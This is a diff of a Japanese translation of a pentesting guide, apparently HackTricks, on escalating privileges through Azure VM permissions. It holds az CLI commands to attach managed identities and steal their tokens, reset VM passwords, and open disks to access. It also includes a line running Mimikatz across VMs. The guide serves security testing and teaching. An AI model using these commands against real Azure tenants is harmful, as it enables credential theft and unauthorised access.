> デフォルトでは、外部PRはリポジトリに少なくとも1つのPRがマージされるまでワークフローを実行しません。攻撃者はリポジトリに有効なPRを送信し、**その後悪意のあるPRをリポジトリに送信してステージング環境に悪意のあるアプリをデプロイする**ことができます。しかし、予期しない保護があります。静的ウェブアプリにデプロイするためのデフォルトのGithub Actionは、デプロイメントトークンを含むシークレットへのアクセスが必要です例えば `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`。これは、外部PRがこのシークレットにアクセスできず、外部PRがワークフローを変更して任意のトークンをここに配置することができないため、**この攻撃は実際には機能しません**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## VMS & Network
Azure Virtual Machines と Network に関する詳細情報は、以下を確認してください:
Azure Virtual Machines と Network に関する詳細情報は、以下を確認してください
{{#ref}}
../az-services/vms/
@@ -12,8 +12,8 @@ Azure Virtual Machines と Network に関する詳細情報は、以下を確認
### **`Microsoft.Compute/virtualMachines/extensions/write`**
この権限は、仮想マシンで拡張機能を実行することを許可し、**任意のコードを実行することを可能にします**。\
VM内で任意のコマンドを実行するためにカスタム拡張機能を悪用する例:
この権限は、仮想マシンで拡張機能を実行することを許可し、**任意のコードを実行することを可能にします**。\
VM内で任意のコマンドを実行するためにカスタム拡張機能を悪用する例
{{#tabs }}
{{#tab name="Linux" }}
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
<summary>ハイブリッドランブックワーカー</summary>
これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張です。詳細については、[Automation Accounts service](../az-services/az-automation-account/index.html)を確認してください。
これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張機能です。詳細については、[Automation Accounts service](../az-services/az-automation-account/index.html)を確認してください。
</details>
@@ -308,11 +308,11 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
**SSH**を介して**`az ssh vm --name <vm-name> --resource-group <rsc-group>`**でログインし、**RDP**を介して**通常のAzure資格情報**でログインします。
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
これらはすべて、**特定のマネージドアイデンティティを持つVMを作成し、**ポートを開いたままにする**ために必要な権限ですこの場合は22。これにより、ユーザーはVMを作成し、それに接続して**マネージドアイデンティティトークンを盗む**ことで権限を昇格させることができます。
これらはすべて、**特定の管理されたIDを持つVMを作成し、**ポートを開いたままにする**ために必要な権限ですこの場合は22。これにより、ユーザーはVMを作成し、それに接続して**管理されたIDトークンを盗む**ことで権限を昇格させることができます。
状況に応じて、この技術を悪用するために必要な権限は多かれ少なかれ異なる場合あります。
状況に応じて、この技術を悪用するために必要な権限は多い場合も少ない場合あります。
```bash
az vm create \
--resource-group Resource_Group_1 \
@@ -343,15 +343,15 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
攻撃者は、**何らかの方法でVMを侵害する必要があります**。割り当てられた管理アイデンティティからトークンを盗むためです。**詳細は**確認してください:
攻撃者は、**何らかの方法でVMを侵害する必要があります**。割り当てられた管理アイデンティティからトークンを盗むためです。**詳細は**確認ください:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
これらの権限、仮想マシンのユーザーとパスワードを変更してアクセスすることを許可します:
これらの権限により、仮想マシンのユーザーとパスワードを変更してアクセスすることができます:
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
@@ -359,6 +359,22 @@ az vm user update \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
これらの権限により、ディスクやネットワークインターフェイスを管理でき、ディスクを仮想マシンに接続することが可能になります。
```bash
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は管理者としてWindows Admin Centerを介してリソースのOSを管理することを可能にします。したがって、これはVMを制御するためのWACへのアクセスを提供するようです...